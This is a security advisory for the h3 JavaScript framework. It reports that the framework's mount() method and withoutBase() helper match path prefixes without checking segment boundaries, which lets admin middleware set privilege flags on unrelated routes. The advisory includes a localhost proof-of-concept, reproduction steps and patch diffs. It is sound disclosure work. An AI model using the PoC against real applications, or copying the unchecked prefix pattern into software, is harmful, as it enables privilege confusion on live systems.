The mount() method in h3 uses a simple startsWith() check to determine whether incoming requests fall under a mounted sub-application's path prefix. Because this check does not verify a path segment boundary (i.e., that the next character after the base is / or end-of-string), middleware registered on a mount like /admin will also execute for unrelated routes such as /admin-public, /administrator, or /adminstuff. This allows an attacker to trigger context-setting middleware on paths it was never intended to cover, potentially polluting request context with unintended privilege flags.
The root cause is in src/h3.ts:127 within the mount() method:
// src/h3.ts:122-135
mount(base: string, input: FetchHandler | FetchableObject | H3Type) {
if ("handler" in input) {
if (input["~middleware"].length > 0) {
this["~middleware"].push((event, next) => {
const originalPathname = event.url.pathname;
if (!originalPathname.startsWith(base)) { // <-- BUG: no segment boundary check
return next();
}
event.url.pathname = event.url.pathname.slice(base.length) || "/";
return callMiddleware(event, input["~middleware"], () => {
event.url.pathname = originalPathname;
return next();
});
});
}
When a sub-app is mounted at /admin, the check originalPathname.startsWith("/admin") returns true for /admin, /admin/, /admin/dashboard, but also for /admin-public, /administrator, /adminFoo, etc. The mounted sub-app's entire middleware chain then executes for these unrelated paths.
A secondary instance of the same flaw exists in src/utils/internal/path.ts:40:
// src/utils/internal/path.ts:35-45
export function withoutBase(input: string = "", base: string = ""): string {
if (!base || base === "/") {
return input;
}
const _base = withoutTrailingSlash(base);
if (!input.startsWith(_base)) { // <-- Same flaw: no segment boundary check
return input;
}
const trimmed = input.slice(_base.length);
return trimmed[0] === "/" ? trimmed : "/" + trimmed;
}
The withoutBase() utility will incorrectly strip the base from paths that merely share a string prefix, returning mangled paths (e.g., withoutBase("/admin-public/info", "/admin") returns /-public/info).
Exploitation flow:
/admin with middleware that sets event.context.isAdmin = true/admin-public/info on the parent app that reads event.context.isAdminGET /admin-public/info/admin mount's startsWith check passes → admin middleware executes → sets isAdmin = true/admin-public/info handler sees event.context.isAdmin === true// poc.js — demonstrates context pollution across mount boundaries
import { H3 } from "h3";
const adminApp = new H3();
// Admin middleware sets privileged context
adminApp.use(() => {}, {
onRequest: (event) => {
event.context.isAdmin = true;
}
});
adminApp.get("/dashboard", (event) => {
return { admin: true, context: event.context };
});
const app = new H3();
// Mount admin sub-app at /admin
app.mount("/admin", adminApp);
// Public route that happens to share the "/admin" prefix
app.get("/admin-public/info", (event) => {
return {
path: event.url.pathname,
isAdmin: event.context.isAdmin ?? false, // Should always be false here
};
});
// Test with fetch
const server = Bun.serve({ port: 3000, fetch: app.fetch });
// This request should NOT trigger admin middleware, but it does
const res = await fetch("http://localhost:3000/admin-public/info");
const body = await res.json();
console.log(body);
// Actual output: { path: "/admin-public/info", isAdmin: true }
// Expected output: { path: "/admin-public/info", isAdmin: false }
server.stop();
Steps to reproduce:
# 1. Clone h3 and install
git clone https://github.com/h3js/h3 && cd h3
corepack enable && pnpm install && pnpm build
# 2. Save poc.js (above) and run
bun poc.js
# Output shows isAdmin: true — admin middleware leaked to /admin-public/info
# 3. Verify the boundary leak with additional paths:
# GET /administrator → admin middleware fires
# GET /adminstuff → admin middleware fires
# GET /admin123 → admin middleware fires
# GET /admi → admin middleware does NOT fire (correct)
isAdmin, isAuthenticated, role assignments) on requests to completely unrelated routes.withoutBase() utility produces incorrect paths (e.g., /-public/info instead of /admin-public/info) when the input shares only a string prefix, potentially causing routing errors or further security issues in downstream path processing.mount() with a base path that is a string prefix of other routes is affected. The impact scales with how the application uses middleware-set context values.Add a segment boundary check after the startsWith call in both locations. The character immediately following the base prefix must be /, ?, #, or the string must end exactly at the base:
Fix for src/h3.ts:127:
mount(base: string, input: FetchHandler | FetchableObject | H3Type) {
if ("handler" in input) {
if (input["~middleware"].length > 0) {
this["~middleware"].push((event, next) => {
const originalPathname = event.url.pathname;
- if (!originalPathname.startsWith(base)) {
+ if (!originalPathname.startsWith(base) ||
+ (originalPathname.length > base.length && originalPathname[base.length] !== "/")) {
return next();
}
Fix for src/utils/internal/path.ts:40:
export function withoutBase(input: string = "", base: string = ""): string {
if (!base || base === "/") {
return input;
}
const _base = withoutTrailingSlash(base);
- if (!input.startsWith(_base)) {
+ if (!input.startsWith(_base) ||
+ (input.length > _base.length && input[_base.length] !== "/")) {
return input;
}
This ensures that /admin only matches /admin, /admin/, and /admin/... — never /admin-public, /administrator, or other coincidental string-prefix matches.
{
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:50:27Z",
"severity": "LOW",
"nvd_published_at": "2026-03-26T18:16:30Z",
"cwe_ids": [
"CWE-706"
]
}